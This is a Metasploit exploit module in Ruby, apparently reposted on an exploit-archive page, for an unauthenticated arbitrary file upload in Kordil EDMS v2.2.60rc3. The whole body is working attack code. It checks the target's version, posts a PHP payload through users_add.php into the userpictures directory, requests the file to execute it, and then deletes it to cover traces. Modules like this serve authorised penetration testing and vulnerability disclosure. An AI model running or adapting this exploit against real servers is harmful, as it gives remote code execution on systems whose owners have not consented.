Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability

[Kwelwild]

Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability",
            'Description'    => %q{
                This module exploits a vulnerability in Kordil EDMS v2.2.60rc3.
                This application has an upload feature that allows an unauthenticated user
                to upload arbitrary files to the '/kordil_edms/userpictures/' directory.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
                ],
            'References'     =>
                [
                    #['OSVDB', ''],
                    #['EDB',   ''],
                ],
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    ['Automatic Targeting', { 'auto' => true }]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Feb 22 2013",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The path to the web application', '/kordil_edms/']),
            ], self.class)
    end

    def check

        base  = target_uri.path
        peer  = "#{rhost}:#{rport}"

        # retrieve software version from login page
        begin
            res = send_request_cgi({
                'method' => 'GET',
                'uri'    => normalize_uri(base, 'global_group_login.php')
            })
            if res and res.code == 200
                if res.body =~ /<center><font face="Arial" size="2">Kordil EDMS v2\.2\.60/
                    return Exploit::CheckCode::Vulnerable
                elsif res.body =~ /Kordil EDMS v/
                    return Exploit::CheckCode::Detected
                end
            end
            return Exploit::CheckCode::Safe
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            print_error("#{peer} - Connection failed")
        end
        return Exploit::CheckCode::Unknown

    end

    def upload(base, file)
        data = Rex::MIME::Message.new
        data.add_part(file,       'text/x-php', nil, "form-data; name=\"upload_fd31\"; filename=\"#{@fname}.php\"")
        data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd0"')
        data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd27"')
        data.add_part("n", nil, nil, 'form-data; name="act"')
        data_post = data.to_s
        data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => normalize_uri(base, 'users_add.php'),
            'ctype'   => "multipart/form-data; boundary=#{data.bound}",
            'data'    => data_post
        })
        return res
    end

    def on_new_session(client)
        if client.type == "meterpreter"
            client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
            client.fs.file.rm("#{@fname}.php")
        else
            client.shell_command_token("rm #{@fname}.php")
        end
    end


    def exploit

        base   = target_uri.path
        @peer  = "#{rhost}:#{rport}"
        @fname = rand_text_numeric(7)

        # upload PHP payload to userpictures/[fname].php
        print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
        php    = %Q|<?php #{payload.encoded} ?>|
        begin
            res = upload(base, php)
            if res and res.code == 302 and res.headers['Location'] =~ /\.\/user_account\.php\?/
                print_good("#{@peer} - File uploaded successfully")
            else
                fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
            end
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
        end

        # retrieve and execute PHP payload
        print_status("#{@peer} - Executing payload (userpictures/#{@fname}.php)")
        begin
            res = send_request_cgi({
                'method' => 'GET',
                'uri'    => normalize_uri(base, 'userpictures', "#{@fname}.php")
            })
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
        end

    end
end

Surs?: Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability